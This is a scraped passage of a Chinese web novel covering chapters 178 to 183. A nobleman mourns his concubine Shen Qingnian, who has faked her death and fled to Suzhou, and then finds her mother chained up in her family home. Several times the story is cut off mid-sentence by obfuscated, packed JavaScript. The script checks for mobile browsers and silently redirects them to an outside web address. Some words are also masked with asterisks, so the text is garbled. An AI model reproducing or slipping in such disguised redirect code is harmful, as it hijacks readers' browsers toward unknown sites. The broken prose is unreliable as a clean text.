李慧妍话还未说完,一个巴掌就猝不及防地扇在了她的脸上。 李慧妍捂着脸,转头看着自己的父亲,眼中是难以置信。 李将军听到自己的女儿承认绑走了谢宴之的爱妾,还说出那些不知羞耻的话来,李将军气得一巴掌扇在了李慧妍脸上。 她一个闺阁女子,竟然说什么妓院。 李将军觉得自己像不认识眼前的人一般。 李慧妍流着泪道:“父亲!” “连你也帮着外人来欺负我!” 李慧妍又指着谢宴之:“这个人欺我,辱我在先,我就是要报复他!” 李将军看了一眼谢宴之,见他仍是冷冰冰的一张脸,他还有什么不明白的。 这个人从始至终都不曾喜欢过他的女儿,自然也就不会在意自己女儿的尊严。 他痛心道:“你不过是自取其辱罢了。” 他早就劝过她不要喜欢谢宴之,她执意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她怎么了?”谢宴之最后一丝耐心就要耗尽,那剑尖又往前挪了几分。 马夫的额头已经触到了一丝冰凉,疼痛也缓缓传来,他颤抖着闭着眼睛道:“她**!” 第一百七十八章 把她葬在江南 她**! 谢宴之垂眸看着脚下缩成一团的人,瞳孔骤然紧缩,周身的空气仿佛瞬间凝固。 他可以说她逃了,她被卖了,怎么能说她**! “你说什么?”谢宴之的声音低沉得可怕,喉间滚动着压抑的怒火,手中那把剑也向前刺去,似要那马夫的命。 李将军闻言,满眼震惊!这下妍儿惹下的麻烦大了! 如今谢宴之动了杀心,这事若是处置不当,别说李家与谢家的交情,怕是整个将军府都要遭到**。 又见谢宴之面色铁青,那剑一下就要取那马夫的性命,他忙扔过手中的茶盏,弹开了谢宴之的剑。 李将军快步上前,双手死死按住谢宴之握剑的手腕道:“谢世子!先问清楚怎么回事!” “将你知道的通通说出来,若有隐瞒,你也不必活了!” 李将军对着马夫厉声道。 马夫早已被吓得魂飞魄散,瘫在地上连连磕头,牙齿打颤道:“小的……小的是按照小姐的吩咐,要把那位姑娘卖给扬州来的老鸨。” “可小的到渡口附近时,见那老鸨已经在船头,小的朝她招了招手,她也没看见,小的便下了车去船边喊那老鸨,就离开了几步远……谁知道那马车就忽然着起火来!” 他顿了顿,声音更低:“后来小的听一旁的人说,是两个流浪汉抢灯油时,不小心把马车的车帘点燃了。 “其中一个手里提着那盏油灯,直接就丢进了车里……” 李将军皱着眉,十分心急道:“那你怎么不去救人!” “小的也想冲上去救人,可马儿受了惊,拉着马车就跑了起来,小的在后面追了好久都没追上,那火借着风势,瞬间就烧起来了!只看着那火越烧越旺,连车厢都烧塌了……” “后来,是路过的好心人拉住了马车,解开了马套,那马儿才得以幸存。” “可车上那娘子,听说是烧成了焦炭了。”说道最后,那马夫的声音越来越小,惭愧得不敢抬头。 谢宴之的手攥得紧紧的,额上的青筋暴起,最后隐忍出声:“那娘子现在何处?” “在…在衙门里,等着亲属认领。” 马夫的话音刚落,谢宴之便猛地抽回手,转身向外走去。 “世子……”李将军还想替女儿说说情,毕竟她也不是故意的。 可谢宴之转身就出了去,根本没给他说话的机会。 李将军看着谢宴之的背影,又低头看了看仍在发抖的马夫,低声问:“小姐可知这事?” 马夫颤巍巍地点头:“小姐今早已经派人来问过了……” 李将军重重地叹了口气,抬手揉了揉眉心。 他一直以为女儿只是骄纵些,却没想到心思竟如此歹毒。 今日之事,怕是要彻底得罪谢宴之了。 谢宴之策马狂奔,脑海里反复回放着马夫的话,心脏像是被一只无形的手紧紧攥住。 他不信,他不信沈清念就这么没了。 前日她还笑着为菱儿和元青拟定婚期,眉眼间满是温柔。 也答应了会好好留在他身边的。 耳畔是呼啸而过的风,谢宴之快马加鞭朝着衙门的方向去,他倒要去看看她是不是真的**! 没有他的允许,她是不是真的敢死! 到了衙门,谢宴之翻身下马,不等衙役通报,径直闯了进去,冷声道:“带我去停尸间。” 衙役见他周身贵气又气势汹汹,不敢怠慢。 元青此刻也进来,像衙役表明了身份,那衙役这才赶紧领着人去了停尸间。 衙役指着角落里一具盖着白布的尸体,喏喏道:“世子爷,这就是昨日夜里送来的女尸。” 谢宴之一步步走上前,伸出的手在半空中顿了顿,指尖微微颤抖。 他深吸一口气,猛地掀开白布。 那尸体早已面目全非,无法辨认,唯有头上插着的那支红宝石金簪,在昏暗的光线下泛着熟悉的光泽。 又见那脚踝处露出的几缕流光纱,正是他特意给她留的料子。 他猛地转身,大步走出停尸间,一句话都没说。 衙役看着他来时怒不可遏的模样,现在又什么都没说,一时有些摸不着头脑,只能愣愣地站在原地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580361|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>元青跟在谢宴之身后,看着那具尸体上熟悉的饰物,眼眶瞬间红了。 好好的人,怎么说没就没了? 菱儿昨日就哭了一天了,等会儿知道了清姑娘去世的消息,不知能不能承受得住? 还有爷,他已经认出了清姑娘,为何一句话都没说就走了? 他最后让人将尸体运了回去,自己则赶紧骑马跟上谢宴之。 “爷?”元青小心地喊了一声。 “我不信。” 谢宴之打断他的话,声音沙哑却带着不容置疑的坚定。 “她那么聪明,怎么会这么容易就**?” 他忽然想到什么,立刻对着身边的元青道:“立刻派人去追查那两个流浪汉。” 他想知道那两个流浪汉怎么那么大胆,敢在大街上就**放火! “我要知道,他们到底是无意,还是有人指使!” 元青立刻领命,转身安排人手。 他也不信清姑娘就这样**,他定要找到真凶,为清姑娘报仇。 可抓到人时,元青却发现那两人面露痴傻,嘴里只会喃喃自语,什么有用的消息都问不出来。 “爷,这分明就是两个疯子。” “疯子!”谢宴之低声重复着这两个字,眼神变得愈发冰冷。 “真就这么巧?”他翻身上马往靖南侯府去了。 接下来的五日,谢宴之将自己关在房中,谁也不见。 元青每日守在门外,看着紧闭的房门,心中焦急却不敢打扰。 直到第五日傍晚,下人来报,尸体不能再放了。 他实在没办法,硬着头皮敲门:“爷,清姑娘的尸体……实在不能再存放了。” 谢宴之缓缓走出了房门,他整个人面色苍白,眼下带着浓重的青黑。 声音平静却带着些悲凉:“把她……埋在谢家老宅吧,那里安静,也是她喜欢的江南。” 元青看着他落寞的背影,鼻子一酸,连忙点头:“是,爷。” 可谢宴之不知道的是,此刻的江南水乡,沈清念正端着一杯碧螺春,望着窗外潺潺的流水,眉眼间满是轻松。 第一百七十九章 这世上再没有沈清念了 对面坐着的男子一袭青衫,手中摇着折扇,笑道:“沈姑娘,这苏州的风光,的确是京城好多了。” “此番多谢公子相救。”沈清念手中端起一杯茶,朝男子欠了欠身,语气诚恳。 那公子微微一笑,摆了摆手:“沈姑娘不必客气,我还要多谢姑娘当日在马车上救我一命呢。” 说着,也拿起茶杯敬沈清念,二人相视一笑。 原来,那日沈清念被人蒙晕放在箱中后,她醒过来时,发现自己正在一辆马车上。 眼睛被人用布条蒙了起来,手也被捆绑住了。 只是那马车一会儿便停了下来,她立刻躺在榻上,继续装作昏迷的样子。 这时,她察觉到有人掀开帘子看了看,应当是驾马车的人。 那人看她还昏着,便下车离开了。 沈清念见状,脑中飞速想着如何才能逃脱。 这时,她察觉又有人上了车,来人一下抓住了她的手。 “放开我。”沈清念一边喊着一边挣扎。 “姑娘,又见面了。”那人喊了一声。 沈清念听了这声音,觉着有些熟悉,那人身上的气味也有些熟悉,就是想不起来是谁。 “这回好像换你遇到麻烦了。”那人自顾自说着,一边说,一边解开了绑在她手上的绳子。 沈清念扯下蒙着眼睛的布条一看,眼前的男子好似在哪里见过。 那男子看她有些茫然,又有些防备的样子,知晓她不记得他了。 那男子从怀中抬出一个瓷瓶:“姑娘可还记得这个?” 沈清念看到那瓷瓶,终于想起了眼前之人正是那日受伤躲在马车里的男子。 “是你!”沈清念心中稍稍放下心来。 “快走。”沈清念说着就要带着人下车。 那男子却拉住了她,掀开帘子指着不远处那个马夫道:“就是那人将你带到了这里,看样子,是想将你交给对面那个老鸨。” 沈清念闻言,眉头微蹙,一时也不知是谁要绑走她,还想出这样恶毒的法子,想将她卖给老鸨。 她赶紧朝那男子福了一礼:“今日之事,多谢公子。”说着,就下了车。 往前走了两步,沈清念又顿住了脚步,转身看着跟在身后的男子。 那男子笑道:“我可以帮你。” 沈清念有些惊讶,她还未曾说出口,他就知道她想说什么了。 “你是不是不想回去?” “我有个法子,姑娘可想试试?”那男子笑着开口。 沈清念怔了怔,这人不仅知道她想的什么,似乎连怎么做都替她想好了。 她原本还在想着怎么离开靖南侯府,可现在她被人绑走了,也就是说她自由了。 既然已经出了靖南侯府,又何必再回去? 而且,谢宴之也不会迁怒到菱儿和姨母。 毕竟这回不是她主动逃走的,是有人把她绑走的,这本就是一次难得的机会! 只是这人真的可以相信吗?他们不过一面之缘。 眼看着那马夫就要转身回来,沈清念神色一紧,害怕被他发现,躲到了男子身后。 那男子朝身边的人使了个眼色,便有两人上去,其中一人撞到了那马夫的肩膀。 “你怎么走路的?敢撞大爷!”说着,这二人便与马夫扭打起来。 “你们敢打我,我家主子可是李将……”那马夫被二人按在地上,本想报出李将军的名头吓退这两名找茬的人。 可是想到这是小姐吩咐的事,见不得光,不能自报家门。 男子见状道:“看来是姑娘得罪了姓李的人物,人家要除掉你。” 沈清念方才也听见了,那马夫似乎说的是李将军府。 那……她的脑中想到一个人。 李慧妍! 那个端庄温婉的李小娘子! 那男子催促道:“姑娘快些决定,那马夫可是要过来了。” 沈清念又朝那边看了一眼,坚决道:“还请公子帮我。” 不管怎样,先解决了眼前的麻烦再说。 那男子听后,立刻将沈清念带到了一旁的巷子里:“姑娘,得罪了。” 沈清念还没反应过来,他便伸手取下了沈清念头上的发簪,又撕掉了一半裙摆。 随后,将这两样东西交给了随行之人,又吩咐了两句。 不一会儿,那男子指着外面对沈清念道:“姑娘,请看。” 沈清念探出头去,便见那马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是清姑娘的家 刘昊见沈清念悠悠地望着远处,似有心事,便问道:“沈姑娘可还有何事在下可以效劳的?” 沈姑娘已经决定要留在苏州,不再与他一同南下。 刘昊想在临走前,尽可能帮这位沈姑娘一把。 沈清念缓缓摇头:“无事了。” 刘昊已帮她逃离京城,她心中已经感激不尽,不会再提什么要求。 刘昊闻言,起身,拱手道:“在下尚有要事在身,便不再叨扰沈姑娘了。” “如今该称苏姑娘了。” 沈清念笑着提醒道。 见刘昊笑了笑,沈清念又道:“刘公子大恩,苏芜铭记在心,日后若有机会,必当报答。” “刘公子一路保重。” 刘昊不再多言,转身走了出去。 待他走到茶楼门前时,又回头看了一眼楼上那正望着远处风光的人。 那抹素色身影正凭栏而立,望着江面粼粼波光,风拂动她的衣袂,竟有种不似凡尘的清绝。 他嘴角不自觉往上扬了扬,转身对身侧随从道:“我约莫有些明白,萧兄为何对此女念念不忘了。” 她本可借着救命之恩,或是他与萧怀意的交情,提些要求。 哪怕是要些钱财傍身,或是求个安稳去处,都合情合理。 可她只字未提,只淡淡谢过便作罢。 这样的女子,倒是与萧兄相配。 萧兄蛰伏多年,那种心性的人,一旦认定一人,便是九头牛也拉不回来。 刘昊摇了摇头,又想到了那位靖南侯府的世子爷谢宴之。 他竟这般夺人所爱,拆散有情之人,这些实在非君子所为。 沈姑娘假死也好,好让那世子爷再也找不到她!她和萧兄或许就能安稳度过一生了吧。 刘昊这样想着,又回头看了一眼楼上,见沈清念站着不动,一直看着屋子里面。 想来,他那位痴情的萧兄,此刻已经到了吧? 刘昊嘴角含笑,大步离开了茶楼。 楼上,沈清念饮尽杯中最后一口凉茶,正起身准备离去,却见门口立着一道熟悉的身影。 那人一身玄色锦袍沾着风尘,发丝微乱,显然是疲于奔波。 可那双望向她的眼眸,却亮得惊人且情意绵绵。 沈清念心中猛地一揪,眼眶瞬间就红了。 “萧公子。”她刻意压低声音,尽量憋住眼里的泪。 “沈姑娘。”萧怀意快步上前,双手微微握拳,按捺着心中的激动,怕唐突了眼前人。 他的目光落在她脸上,细细打量着,见她无恙,这才松了口气。 “多谢萧公子。”沈清念避开他的目光,指尖攥紧了衣角,她有些不敢面对萧怀意。 尤其是见到他那双情深的眼眸。 二人重新落座,店小二又上了壶新的茶。 远处的落日余晖将江面染成了橘色,晚风轻轻吹动着沈清念的发丝。 萧怀意望着沈清念的侧脸,心中微动。 她从前曾跟他说过,想寻一处有江的地方,与他一起喝茶看落日。 如今,落日正好,她亦在身边。 沈清念察觉到他的目光,却始终直视着前方,不敢回头。 她心中有些愧对萧怀意。 她如今已经给人当过姨娘了,又怎么对得起萧怀意这一片挚诚的感情。 所以她不敢看向萧怀意。 萧怀意也看出了沈清念的不自在,他也不着急。 这次留在她身边的人是他! 如今她已经是苏芜了,谢宴之不会再来找她了。 他们两个还有许多时间。 “沈姑娘,以后有何打算?”萧怀意率先打破沉默,声音轻柔地问道。 沈清念端起茶盏,面上带着笑:“我打算留在苏州。这儿热闹繁华,民风也开化,女子想谋生,总比别处容易些。” 萧怀意点头,眼底满是温柔:“苏州的确是个好地方。” 只要是她在的地方,便是好地方。 沈清念似又想到什么,对着萧怀意道:“萧公子,我有新的名字了。” “我现在叫苏芜。” 萧怀意看着眼前的人带着喜色的眉眼,嘴角也扬了扬。 他当然知道她现在叫苏芜,那是他给她起的名字。 萧怀意还是装作不知道:“哦?那我以后得称呼你苏姑娘了。” 沈清念笑着对着萧怀意举杯:“苏芜见过萧公子。” 二人又是相视一笑。 两日后,澄西,沈府门前。 一个穿青布裙的婆子一手提着菜篮子,另一只手抓着只肥硕的母鸡。 正跟身旁的小丫鬟叮嘱:“老爷特意吩咐的,这鸡是给夫人补身子的,你回去后仔细炖着,多加些当归,不许偷懒!” 那小丫鬟低着头,弓着背,怯生生地点头:“知道了,王妈妈。” 二人说着,便推开沈府的大门,走了进去。 就在她们身影消失在门后的瞬间,不远处的一辆马车里, 一只纤纤玉手轻轻掀起车帘一角,沈清念静静望着那扇门缓缓关上。 “可需要我去将伯母接出来?”萧怀意坐在她身侧,看她眼里的不舍,轻声问道。 他知道,她定是想去看她的母亲了。 “不必。”沈清念收回目光。 方才那婆子的话,她听得清楚,母亲还能喝鸡汤补身子,想来暂时没有危险。 沈清念如今已经是一个死人了。 若是谢宴之追查到这儿,发现她才曾进过沈府,岂不是会发现她没有死? 那一切努力又白费了,她又要回到那座牢笼般的大宅中去。 想到这儿,沈清念在心中告诫自己,她现在是苏芜,她不能进去见她的母亲。 她攥紧了手心,心中暗忖:沈昌银,你且等着,总有一日,我定要你亲自来求我回沈家!” 见沈清念不再说话,萧怀意对着车夫低声吩咐:“走。” 可他们的马车刚走没多久,另一辆的马车便停在了沈府门前。 元青从车上跳下来,快步走到沈府门前,抬手敲了敲那扇铜环门。 门房很快跑了出来,上下打量着元青。 眼前人虽不是公子打扮,却衣着整洁,气度也不俗,想来是哪家贵人的随从。 门房便不敢怠慢,连忙打开半扇门问道:“请问小哥找谁?” 元青并没回答,只是问道:“你家老爷,可是叫沈昌银?” 门房点头:“正是。不知小哥是……” 元青没再多说,转身跑回马车边,躬身道:“爷,这就是清姑娘在澄西的家。” 第一百八十一章 沈清念带回来的野男人 谢宴之这才从马车上下来,看看了四周。 这澄西到底是紧挨着苏州,周围的宅子前都有招财的大石雕刻,又配了金箔装饰,看着有些富贵。 沈清念就是在这种地方长大的吗?为何她身上却没有铜臭味? 反而是令他心安的木质香味? 门房见他气度不凡,连忙躬下身,正要转身去府内禀报,却被谢宴之抬手拦住。 “不必通报。”谢宴之声音清淡,却带着不容置疑的威严。 门房不敢违抗,只能躬着身,在前头引路。 谢宴之慢悠悠地走着,目光扫过沈府的一草一木,想象着沈清念在这里生活的样子。 谢宴之这才发现,她几乎没有提到过她小时候的事,他对她这些也是一无所知。 只知道,她有个十分疼爱她的母亲。 从前他也从没主动去了解过这些。 现在他想知道了,想要沈清念亲口告诉他。 可惜,她已经无法开口了。 这次来澄西,他也是想替沈清念来看看她记挂的母亲。 她从他身边逃了那次,没有来得及回来看望。 他要帮她完成这个心愿,让她没有遗憾。 快到正厅时,一个女人的声音传来:“江少爷,您也别惦记沈清念那个**了。我们家清蕊长得也不差,性子还温顺,您若是喜欢,不如……” 屋子里没人回应,又听见那女人道: “那个沈清念,离家都三个月了,凭着她那副勾人的长相,指不定早就被哪个野男人抓了去,成了残花败柳了!” “不然怎么会一点消息也没有?定是没脸回来!” 谢宴之脚步一顿,眉头微微蹙起,眼底掠过一丝冷意。 元青跟在他身后,听得怒火中烧。 这些人,竟敢这么说清姑娘!他此刻就想上去给那女人一拳头! 门房正要上前通报,元青立刻上前一步,将他拦在身后,不许他出声。 正厅内,江福年正搂着一个穿粉色衣裙的少女,听得王氏的话,笑得一脸淫邪:“沈清蕊是不错,可我就是喜欢沈清念那个调调!” “沈昌银,我再给你最后三天时间,若是还不能将沈清念抓到我面前来,那东大街你家那十几间铺子,就别想再开下去了!” 说罢,他推开怀中的少女,起身就要离开。 可他刚转过身,还没迈出步子,就被人一脚踹在胸口! “砰”的一声闷响,江福年踉跄着往后退了几步。 “江少爷!”沈昌银和王氏吓得惊叫起来,脸色发白。 竟不知是何人如此大胆,敢将他们的贵客一脚踹开! 又看江福年那脸上痛苦的神情,担心他伤得重了,又要迁怒他们。 沈昌银上前扶住江福年,却**福年一把推开。 王氏正要对着来人破口大骂,可一转头,就见一个男子站在门口,身姿挺拔。 一身月白锦袍,腰系玉带,玉带上挂着一枚羊脂白玉佩,泛着温润的光泽。 整个人看着气度雍容,江福年在他面前,竟像个跳梁小丑。 王氏心里咯噔一下,这人身份定然不凡,绝不是他们能惹得起的。 男子那双眸子冷得像冰,眼底隐隐有些怒火,王氏瞬间怔在原地,责骂的话硬生生堵在了喉中。 江福年捂着胸口,疼得龇牙咧嘴,他可是澄西县令的独子,谁敢动他? 他抬头一看,是个陌生男子,顿时怒不可遏,指着谢宴之骂道:“你是何人!竟敢踹我!你知道我是谁吗?我爹是澄西县令江大人!” 元青看着他那副嚣张的模样,又打量了他一番。 二十七八岁的年纪,生得粉头白面,一身锦衣穿在身上,却透着股浪荡之气。 手上戴着一只比拇指还粗的黄金扳指,头上的发冠也是纯金打造,晃得人眼晕。 想来家境是殷实,可肚子里怕是没多少墨水。 这样的人,也敢肖想清姑娘? 元青心中冷笑,也不撒泡尿照照自己是什么德行! 谢宴之往前迈了一步,目光落在江福年身上,声音冷得像冰:“谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593341|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借你的胆子,敢这样说她!” 一个小小县令之子,也敢在他面前嚣张!敢在他的面前亵渎他的姨娘! 江福年一愣,随即反应过来,用手指着谢宴之道:“你说的是沈清念那个**……?” 只是他的话还没说完,就听见“啪”的一声脆响,元青已经上前去一巴掌甩在了他脸上。 “清姑娘的名讳,也是你这种人能叫的!” 还用手指指着他家爷!不知死活! 江福年被打得偏过头,左脸颊瞬间红肿起来,火辣辣地疼。 他随即又指着谢宴之骂了起来:“我知道了,你是沈清念找来的野男人!” “那个贱蹄子本就是用来孝敬我的,原来竟被你截胡了去!” 江福年这下更为恼怒,还从未有人敢这么对他! 他捂着脸,怒视着谢宴之和元青,大叫道:“来人!给我把这两个不知死活的东西打死!” 话音刚落,从门外冲进来四个穿着短打的护卫,个个身材高大,手里还握着木棍,显然是江福年带来的人。 他倒要看看,这两个外来人,怎么在澄西横着走! 元青丝毫不惧,上前一步,正要动手,却见谢宴之微微抬手。 下一秒,从沈府的院墙外翻进来十几名黑衣护卫,个个身手矫健,腰间佩刀,迅速将江福年带来的那四个**团围住。 江福年带来的人不过是些市井无赖,哪里是谢宴之这些训练有素的护卫的对手? 不过片刻,那四个护卫就被打得趴在地上,哀嚎不止。 江福年见状,脸色瞬间变得惨白,再也没了先前的嚣张。 沈昌银和王氏吓得浑身发抖,站在一旁,连大气都不敢喘。 王氏看着谢宴之,心中越发慌乱。 这人不仅气度不凡,手下还有这么多厉害的护卫,定然是大有来头。 他们沈府,这次怕是惹上**烦了。 谢宴之没再看江福年一眼,目光转向沈昌银和王氏,声音清淡却带着压迫感:“沈清念的母亲何在?” 第一百八十二章 有位郎君正在看您呢 王氏眼角的余光飞快地扫过沈昌银,见他微微颔首。 便往前挪了半步,声音里带着几分刻意的端庄:“回这位爷的话,我便是清念的母亲。” 谢宴之缓缓抬眼,目光落在王氏身上时,眉头几不可察地动了动。 眼前的妇人插着满头的赤金点翠的簪钗, 身上穿着蹙金绣的衣裳,领口袖口滚着三层烫金边,胸前戴着朵黄金牡丹。 繁复又俗气。 她脸上又堆着殷勤的笑,眼角却是藏不住的市侩与精明。 这样俗不可耐的人,怎么会生出沈清念那样清冷脱俗的女子? 谢宴之的眉头拧起,眼底的审视看得王氏心里发毛。 自从苏婉云那个**帮沈清念逃走后,老爷就将苏婉云关在了后院,日**问沈清念的下落。 可这苏婉云不肯说出沈清念的下落。 后来老爷没了耐性,便叫她隔三差五去逼问。 王氏自认出生比苏婉云好上一些,只是没有她那般美貌。 沈昌银才只让她做了一方妾室,她为此不服气了许多年。 对苏婉云的怨恨也越积越多。 没想到沈昌银竟然将这等好事交给她来做。 王氏得了吩咐,便日日去后院羞辱苏婉云,断她吃食,耍足了正妻才有的威风,这才解了些心头之气。 可这位爷方才那一眼,竟让她莫名心慌,好像一眼就看出她不是真正的沈夫人。 谢宴之的目光从王氏身上移开,转向一旁的沈昌银,带这些质问和不容抗拒。 沈昌银被那眼神看得心头一跳,忙不迭上前两步,脸上堆着谄媚的笑:“这位爷,这是王氏,她……她也算是念儿的母亲。” 苏婉云还被他关在后院,实在见不得人。 自从苏婉云被他关起来后,他便让王氏暂代主母之职打理家事,府里的下人早就默认王氏是正经夫人了。 如今这位爷来历不明,可瞧着这派头,定是大人物,可不能让苏婉云坏了大事。 “也算?”谢宴之黑沉下脸。 身旁的元青又冷声道:“沈老爷,我家爷问的是清姑娘的生母!可不是什么阿猫阿狗!” 方才王氏说的那些污言秽语,他听得一清二楚。 这般刻薄恶毒的女人,怎么可能是清姑娘的生母? 听了这话,沈昌银脸上的笑僵了僵。 王氏更是有些气恼,一个小厮也敢这样说她!可她现在又不能发作,只得将脸憋得一阵红一阵白。 沈昌银这下更是确定这位爷跟沈清念之间的关系不浅,不然不会这样维护着沈清念,非要见沈清念的生母。 不过,这位爷口音里带着京城的腔调,衣着配饰更是不凡。 若是清念那丫头真给他找了个比江福年还厉害的靠山,那他们沈家以后就不用再受江家的气了。 他转了转眼珠,试探着问道:这位爷的口音听着有些像京城人士,不知为何会与我家念儿相识啊?” “我家爷的名讳,也是你配打听的?” 元青眼神一厉,往前踏出一步。 “别扯这些有的没的,清姑娘的生母到底在哪儿!” 沈昌银没得到这人的身份,还想再试探。 身后突然传来拔刀的声音,沈昌银回头一看,其中一名护卫已将腰间的佩刀拔出半截,直直对着他。 沈昌银吓得额上出了些汗,声音有些发颤:“我……我夫人在后院,只是她近来身体有恙,实在不便见客。” 王氏见状,也是一脸的慌乱。 没想到这位爷生得儒雅,却是个狠角色。 见自家老爷被刀威胁,她忙在一旁帮腔道:“是啊这位爷,自从念儿走后,姐姐日夜思念,身子早就熬垮了。 “如今姐姐连起身都难,实在是见不了您。” 说完,王氏与沈昌银互相看了对方一眼。 夫妻二人眼神里的慌乱虽只是一闪而过,却被谢宴之看得明明白白。 他心中的疑虑更甚,语气冷得像冰:“既如此,那我便亲自去后院瞧瞧。” 这话一出,沈昌银和王氏脸色瞬间变了,却不敢反驳,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593342|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬着头皮,一前一后地领着众人往后院走。 穿过一处长廊时,谢宴之的脚步突然顿住,目光落在不远处的秋千上。 秋千上正坐着个女子,穿着一身月白色的素衣。 那背影纤细窈窕,竟与沈清念有几分相似。 他的心脏猛地一跳,有那么一瞬间的失神。 她向来爱穿素色衣裳,那些衣裳总是衬得她身上有股清冷的气质,像月下的寒烟,让人一眼难忘。 王氏见谢宴之停下脚步,感到有些疑惑,又见他一直望着某处,便顺着他的目光看去。 见他正盯着自己女儿沈清蕊,那眼神含情脉脉,像在看自己的心上人一般。 王氏心里不禁一松,随即喜上心头。 江福年没看上她的女儿,要是给这位贵人看上了,岂不是更好? 这样想着,王氏上前道:“那是小女沈清蕊。” 沈昌银也看出了端倪,看这位爷的神情,显然是对清蕊有些意思。 他心里盘算着,若是能让清蕊攀上这位贵人,沈家日后的荣华富贵就不用愁了。 随即又与王氏相互交换了眼神。 二人眼里均带着喜色。 秋千上的沈清蕊正摆弄着裙摆,身旁的丫鬟谄媚地说道:“小姐,您穿着这身衣裳,比大小姐穿好看多了!大小姐穿得再素,也没您这身段撑得好看。” 沈清蕊得意地扬起下巴,声音里带着几分不屑:“也不知沈清念那丫头的衣裳有什么好的,这般素净,偏偏江公子还当个宝。” 她娘王氏早就跟她说好了,让她穿着沈清念的旧衣裳,模仿着沈清念那股清冷劲儿在这儿荡秋千。 等会儿再想法子让江福年过来“偶遇”。 只要江福年看上她,父亲肯定会把娘扶成正妻,到时候她就是名正言顺的沈家大小姐了。 正说着,丫鬟突然瞥见沈清蕊身后的长廊处站着个男子,身姿挺拔,容貌俊朗,正目光沉沉地看着自家小姐。 忙压低声音提醒道:“小姐,有位郎君在看您呢。” 第一百八十三章 现在妥了吗? 沈清蕊心里一喜,以为是江福年来了,忙故作娇羞地缓缓转过身,回眸一笑。 谢宴之见那女子转过身来,面上笑盈盈地,显然对他的到来是欢喜的。 可是,却不是他记忆中的那张脸。 他的脸又很沉下来,转过头,抬脚就走。 沈清蕊转身一看,见那男子虽不是江福年,却生得气宇轩昂,俊朗不凡。 她愣了一下,脸颊瞬间红了。 可那男子在看到她的脸后,就瞬间变了脸。 难道是对她的长相感到很失望? 她自问在这澄西县,除了沈清念,还找不出第二个比她好看的女子。 尽管她父亲还有几房妾室也生了女儿,却没有一个能比得过她去。 可那男子看到她脸的那一刻,眼底的温柔瞬间褪去,取而代之的是浓浓的失望和冷意。 想到这儿,她心里又气又恼,狠狠瞪了一眼谢宴之的背影,气冲冲地转身回了自己的院子。 王氏和沈昌银见谢宴之脸上又泛起冷意,转身就走,二人脸上的喜色一下子褪去。 只得老老实实在前面带起路来。 只是这条路越来越偏僻,地上的青砖缝里都长满了杂草。 明眼人一下就能看出不对劲,更何况是身后这位祖宗! 谢宴之的确察觉到不对,这显然不是去主院的路。 不知前面这位沈老爷与王氏想做什么! 这样想着,谢宴之盯着二人的背影,若有所思。 沈昌银和王氏感受到谢宴之的目光一直盯着二人,他们面面相觑,王氏手心里更是逼出了汗。 她不知道等会儿谢宴之看到苏婉云的样子,会不会迁怒于她。 最后,沈昌银带着谢宴之来到一处偏院前停下。 “我夫人就在里面。” “只是……” 只是她现在的模样……沈昌银吞吞吐吐。 谢宴之没有理会他的欲言又止,抬脚就往院子里走。 刚走到门口,就听到里面传来铁链晃动的声音。 元青跟在后面,听到这声音,心里顿时有种不祥的预感。 他轻轻推开门,见屋子里面空荡荡的,到处都布满灰尘蛛网。 在破破烂烂的幔子后面,见到一个妇人,披散着头发,脸上满是灰尘,看不清模样。 只穿着一身亵衣,双脚被铁链拴住,目光呆滞地坐在地上。 面前的剩菜残羹早已发霉,散发着臭味。 “爷,这……”元青看着眼前的景象,眼眶有些发酸。 清姑娘的母亲竟然被折磨成这样! 那清姑娘在家事,过得又是怎样的日子? 谢宴之站在原地,看着幔子后的妇人。 他虽早已料到沈清念的母亲在沈家的处境不太好,却也没想到被人折磨成这样! 沈昌银没想到王氏竟命人将苏婉云锁了起来,赶紧上前解释道:“婉云思女成疾,才成了这样。一松开她就会乱跑出去。” 